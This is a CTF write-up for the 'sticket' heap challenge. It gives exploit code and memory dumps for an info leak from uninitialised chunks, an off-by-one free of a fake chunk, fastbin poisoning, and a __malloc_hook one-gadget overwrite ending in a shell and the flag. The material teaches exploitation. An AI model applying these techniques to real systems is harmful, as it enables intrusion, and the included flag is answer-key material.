sticket (21 solves)

Why don’t you ride the Shinkansen ?

nc pwn1.chal.ctf.westerns.tokyo 31729

Attachment: sticket libc.so.6 xpl.py

The binary turns out to be a “ticket vending machine”

$ ./sticket 
Shinkansen Ticket vending machine
[LOGIN] Input your name : AAAABBBB

1. Reservation
2. Confirmation
3. Cancel
0. Logout
>> 1
Stations:
[00] Tokyo
[01] Shinagawa
...
[33] Kokura
[34] Hakata
Station to get on >> 10
Station to get off >> 10
Car number(1-16) >> 1
Seat number(1-20) >> 1
Comment length >> 10
Comment >> AAAA

1. Reservation
2. Confirmation
3. Cancel
0. Logout
>> 2
Reserved Tickets
#========================================#
ID : 1 (Toyohashi - Toyohashi) 1-1D
comment : AAAA
#========================================#
Canary                        : Yes
NX                            : Yes
PIE                           : No
Fortify                       : No
RelRO                         : Partial

So, we can reserve a ticket, view the reserved tickets and cancel them. We’re also able to define a name (which can be changed by doing a logout and login again).

Let’s start with leaking some addresses here.

printf("Comment length >> ");
commentLen = getint();

if ( commentLen <= 255 )
{
    char* buf = malloc(commentLen);
    
    if ( buf )
    {        
        ticket.Comment = buf;

        printf("Comment >> ");
        getnline(buf, commentLen);
    }
}

Obviously, the allocated space for the comment doesn’t get zeroed out, before reading our comment, so this can be used to read some data from the heap.

For leaking heap addresses, we just have to create some comments, which will be stored in fastbin chunks and then cancel our tickets, which will put the comment chunks into the fastbin list and populate their FD pointer with the address for the next chunk.

reserve("01", "02", "03", "04", "20", "AAAABBBB")
reserve("01", "02", "03", "04", "20", "AAAABBBB")
    
cancel(2)
cancel(1)

reserve("01", "02", "03", "04", "0", "")

LEAK = confirm()[110:]
HEAPLEAK = u64(LEAK[:LEAK.index("\n")].ljust(8, "\x00"))

This will create four chunks. One for the ticket “header” and one for the “ticket comment” per ticket.

0x603000:   0x0000000000000000  0x0000000000000021  <== Ticket header
0x603010:   0x0000004100040003  0x0000000200000001
0x603020:   0x0000000000603030  0x0000000000000021  <== Ticket comment
0x603030:   0x4242424241414141  0x0000000000000000
0x603040:   0x0000000000000000  0x0000000000000021  <== Ticket header
0x603050:   0x0000004400040003  0x0000000200000001
0x603060:   0x0000000000603070  0x0000000000000021  <== Ticket comment
0x603070:   0x4242424241414141  0x0000000000000000
0x603080:   0x0000000000000000  0x0000000000020f81

By cancelling those tickets, the allocated chunks will be freed and put into the fastbin list.

0x603000:   0x0000000000000000  0x0000000000000021  <== Fastbin 1 (Ticket header)
0x603010:   0x0000000000603020  0x0000000200000001  <== FD
0x603020:   0x0000000000603030  0x0000000000000021  <== Fastbin 2 (Ticket comment)
0x603030:   0x0000000000603040  0x0000000000000000  <== FD
0x603040:   0x0000000000000000  0x0000000000000021  <== Fastbin 3 (Ticket header)
0x603050:   0x0000000000603060  0x0000000200000001  <== FD
0x603060:   0x0000000000603070  0x0000000000000021  <== Fastbin 4 (Ticket comment)
0x603070:   0x0000000000000000  0x0000000000000000  <== FD
0x603080:   0x0000000000000000  0x0000000000020f81

So, when we now allocate a new ticket with a comment length of 0, it will first allocate a chunk for the ticket “header” (Fastbin 1) and then another for our comment (Fastbin 2). But since getnline checks for the length of the data to read, it won’t read anything and just lets the data currently at that address untouched (which happens to be the FD pointer of Fastbin 2).

Thus, we can now just read the confirmation of our created ticket and the comment will be the FD pointer of Fastbin 2.

Reserved Tickets
#========================================#
ID : 1 (Shinagawa - Shin-Yokohama) 3-4E
comment : @0`
#========================================#
$ python xpl.py
[+] Starting local process './sticket': pid 4453
[4453]
[*] Paused (press any to continue)
[*] HEAP leak         : 0x603040

We can now do the same thing to leak a pointer to main_arena. The only difference is, that we create bigger comments, so our comment chunks won’t get put into the fastbin list, but into unsorted bin list, thus populating the FD pointer with a pointer back to main_arena.

But the idea stays the same, by reserving a ticket with comment length 0, we’ll get an existing chunk without changing its content, thus reading the stored pointer from there.

logout("A")

reserve("01", "02", "03", "04", "255", "AAAABBBB")
reserve("01", "02", "03", "04", "255", "AAAABBBB")
reserve("01", "02", "03", "04", "255", "AAAABBBB")
        
cancel(2)

reserve("01", "02", "03", "04", "0", "")
r.recvuntil(">>")
    
LEAK = u64(confirm()[213:213+6]+"\x00\x00")
LIBC = LEAK - 0x3c4c78

log.info("LIBC leak         : %s" % hex(LEAK))
log.info("LIBC base         : %s" % hex(LIBC))

Ok, with the leaks out of the way, we need to think of a way to corrupt the heap.

Let’s take a look at the cancel function

void cancel()
{  
  int index; 
  int listIndex; 

  printf("Input the ID to cancel >> ");
  index = getint();

  if ( index >= 0 && index <= 16 )     // Wrong boundary check
  {
    listIndex = index - 1;
    if ( *(list[listIndex]) )
    {
      free(list[listIndex]->Comment)   // Free comment chunk
      free(list[listIndex])            // Free ticket chunk
      list[listIndex] = 0      
    }
    else
    {
      puts("Nothing to do...");
    }
  }
  else
  {
    puts("Out of range...");
  }  
}

cancel fails at checking the boundary of the list array. It reads the index from the user, then subtracts 1 of it and uses this as the index of the element to free.

By this, it’s possible to free list[-1], so let’s take a look, whats just before the list array in memory.

gef➤  x/100gx 0x602220
0x602220 <name>:     0x4141414141414141  0x0000000000000000
0x602230 <name+16>:  0x0000000000000000  0x0000000000000000
0x602240 <name+32>:  0x0000000000000000  0x0000000000000000
0x602250 <name+48>:  0x0000000000000000  0x0000000000000000
0x602260 <name+64>:  0x0000000000000000  0x0000000000000000
0x602270 <name+80>:  0x0000000000000000  0x0000000000000000
0x602280 <list>:     0x0000000000000000  0x0000000000000000
0x602290 <list+16>:  0x0000000000000000  0x0000000000000000
0x6022a0 <list+32>:  0x0000000000000000  0x0000000000000000
0x6022b0 <list+48>:  0x0000000000000000  0x0000000000000000
0x6022c0 <list+64>:  0x0000000000000000  0x0000000000000000
0x6022d0 <list+80>:  0x0000000000000000  0x0000000000000000
0x6022e0 <list+96>:  0x0000000000000000  0x0000000000000000
0x6022f0 <list+112>: 0x0000000000000000  0x0000000000000000

As in many other challenges, which let us enter a name, it’s pretty obvious, that we could do some mischief with it, and here it is.

Since the name is directly aligned with our list, we could specify a name long enough to fill up the entire struct and thus put an arbitrary address directly before the list array, which we can then free.

Let’s put something useful into our name now

payload = "A"*8    
payload += p64(0x21)
payload += p64(0x0) + p64(0x0)  
payload += p64(HEAPLEAK + 0x1e0)    # points to fake comment chunk (will be created next)
payload += p64(0x21)
payload += p8(0)*(88-len(payload))
payload += p64(0x602230)[:6]        # points to fake chunk in name

logout(payload, True)
0x602220 <name>:    0x4141414141000041  0x0000000000000021  <== Fake chunk
0x602230 <name+16>: 0x0000000000000000  0x0000000000000000
0x602240 <name+32>: 0x0000000000603220  0x0000000000000021  <== Pointer to fake comment chunk on heap
0x602250 <name+48>: 0x0000000000000000  0x0000000000000000
0x602260 <name+64>: 0x0000000000000000  0x0000000000000000
0x602270 <name+80>: 0x0000000000000000  0x0000000000602230
0x602280 <list>:    0x0000000000000000  0x0000000000000000

Now we have a fake chunk in our name object, and an address point to it at list[-1].

At name+32 we’ll put a pointer to a fake comment chunk on the heap, which doesn’t exist by now, but will be created by our next reservation (We have to create it after the logout, because it would have been freed already otherwise)

For that we now just create a big comment, and inside of that comment we forge another fake chunk

log.info("Prepare fake chunk on heap")

bigchunk  = p64(0x0) + p64(0x0)
bigchunk += p64(0x0) + p64(0x0)
bigchunk += p64(0x0) + p64(0x0)
bigchunk += p64(0x0) + p64(0x71)    # Fake comment chunk
bigchunk += p64(0x0) + p64(0x0)
bigchunk += p8(0x0)*0x50
bigchunk += p64(0) + p64(0x71)      # Fake next chunk

reserve("33", "00", "03", "04", "200", bigchunk)
0x6031b0:   0x0000000000000000  0x0000000000000021  <== Ticket chunk
0x6031c0:   0x00007f4200040003  0x0000000000000021
0x6031d0:   0x00000000006031e0  0x00000000000000d1  <== Pointer to comment / Comment chunk
0x6031e0:   0x0000000000000000  0x0000000000000000
0x6031f0:   0x0000000000000000  0x0000000000000000
0x603200:   0x0000000000000000  0x0000000000000000
0x603210:   0x0000000000000000  0x0000000000000071  <== Fake comment chunk
0x603220:   0x0000000000000000  0x0000000000000000
0x603230:   0x0000000000000000  0x0000000000000000
0x603240:   0x0000000000000000  0x0000000000000000
0x603250:   0x0000000000000000  0x0000000000000000
0x603260:   0x0000000000000000  0x0000000000000000
0x603270:   0x0000000000000000  0x0000000000000000
0x603280:   0x0000000000000000  0x0000000000000071  <== Fake next chunk
0x603290:   0x000000000000000a  0x0000000000000000

So, now we constructed a fake chunk on the heap (at 0x603220) and we have our fake chunk in the name object, whose comment pointer points to it.

We’ll now free our fake name chunk.

log.info("Free fake chunk in name (puts name fake chunk and heap fake chunk into main_arena)")  

cancel(0)

As we’ve seen in the cancel function, this will first free our fake comment chunk (putting it into 0x71 fastbin list) and then frees our fake ticket chunk in the name chunk (putting it into 0x21 fastbin list).

gef➤  p main_arena
$35 = {
  mutex = 0x0, 
  flags = 0x0, 
  fastbinsY = {0x602220 <name>, 0x0, 0x0, 0x0, 0x0, 0x603210, 0x0, 0x0, 0x0, 0x0}, 
  top = 0x6033d0, 
  last_remainder = 0x6031d0,

But we’re not able to manipulate the content of that fastbin (yet).

So let’s just free the big chunk we created around it and recreate it.

log.info("Free chunk on heap and reallocate to overwrite fake heap chunk")

cancel(1)   

MALLOC_HOOK_TARGET = LEAK - 0x18b

payload = "A"*48
payload += p64(0x0)
payload += p64(0x71)
payload += p64(MALLOC_HOOK_TARGET)

reserve("33", "00", "03", "04", "200", payload)

Since we created another comment of the size, we just freed, it will overwrite the same data as our previous big chunk, and since that contained our fake chunk we’ll also be able to overwrite the freed fake chunk, thus overwriting its FD pointer.

We’ll be using that, to overwrite __malloc_hook by putting a misaligned address there, pointing to the highest byte of __memalign_hook (which will be 0x7f, thus tricking malloc into thinking that would be a valid fastbin chunk. See BabyHeap2017 from uafio for more details on this).

0x6031c0:   0x0000004100040003  0x0000000000000021 <== Ticket chunk
0x6031d0:   0x00000000006031e0  0x00000000000000d1
0x6031e0:   0x4141414141414141  0x4141414141414141 <== Comment chunk
0x6031f0:   0x4141414141414141  0x4141414141414141
0x603200:   0x4141414141414141  0x4141414141414141
0x603210:   0x0000000000000000  0x0000000000000071 <== Fake comment chunk (freed, in fastbin list)
0x603220:   0x00007fb83807facd  0x000000000000000a <== FD pointer pointing to MALLOC_HOOK_TARGET
0x603230:   0x0000000000000000  0x0000000000000000
0x603240:   0x0000000000000000  0x0000000000000000
0x603250:   0x0000000000000000  0x0000000000000000
0x603260:   0x0000000000000000  0x0000000000000000
0x603270:   0x0000000000000000  0x0000000000000000
0x603280:   0x0000000000000000  0x0000000000000071

gef➤  p main_arena
$37 = {
  mutex = 0x0, 
  flags = 0x0, 
  fastbinsY = {0x602220 <name>, 0x0, 0x0, 0x0, 0x0, 0x603210, 0x0, 0x0, 0x0, 0x0}, 
  top = 0x6033d0, 
  last_remainder = 0x6031d0,

So, now everything’s prepared for our finale. We now just allocate another comment chunk with a size around 100, which will then get our chunk at 0x63210 served from malloc, which will then put our fake FD pointer (MALLOC_HOOK_TARGET) into the fastbin list.

log.info("Allocate chunk to get fake FD pointer into fastbin list")

reserve("33", "00", "03", "04", "100", "AAAA")
gef➤  p main_arena
$38 = {
  mutex = 0x0, 
  flags = 0x0, 
  fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x7f5fd990eacd <_IO_wide_data_0+301>, 0x0, 0x0, 0x0, 0x0}, 
  top = 0x6033d0, 
  last_remainder = 0x6031d0,

The next allocation for a chunk with a size around 100, will now be served with a chunk overlapping __malloc_hook, so we can use that comment to overwrite it with something useful (like an one gadget).

log.info("Allocate chunk to overwrite MALLOC HOOK")

ONE = LIBC + 0x4526a

payload = p8(0)*19
payload += p64(ONE)

reserve("01", "02", "03", "04", "100", payload)
0x7f30a4697ad0 <_IO_wide_data_0+304>:  0x00007f30a4693f00  0x0000000000000000
0x7f30a4697ae0 <__memalign_hook>:      0x0000000000000000  0x0000000000000000
0x7f30a4697af0 <__malloc_hook>:        0x00007f30a431824a  0x000000000000000a  <== ONE gadget

The next time, malloc tries to allocate memory, it will execute the function in __malloc_hook, resulting in executing our one gadget, triggering a shell. So all we have to do now is to allocate some memory, by reserving another ticket

log.info("Call malloc to trigger shell")
    
r.sendline("1")
    
r.interactive()

And there we go :)

$ python xpl.py 1
[+] Opening connection to pwn1.chal.ctf.westerns.tokyo on port 31729: Done
[*] Initial login (Create fake chunk in name
[*] Relogin
[*] Leaking heap and libc addresses
[*] HEAP leak         : 0xf71040
[*] LIBC leak         : 0x7f5d3093cc78
[*] LIBC base         : 0x7f5d30578000
[*] MALLOC hook chunk : 0x7f5d3093caed
[*] ONE gadget        : 0x7f5d305bd26a
[*] Prepare fake chunk in name
[*] Prepare fake chunk on heap
[*] Free fake chunk in name (puts name fake chunk and heap fake chunk into main_arena)
[*] Free chunk on heap and reallocate to overwrite fake heap chunk
[*] Allocate chunk to get fake FD pointer into fastbin list
[*] Allocate chunk to overwrite MALLOC HOOK
[*] Call malloc to trigger shell
[*] Switching to interactive mode
$ ls
flag
start.sh
sticket
$ cat flag
TWCTF{h4v3_4_fun_7r1p_0n_5h1nk4n53n}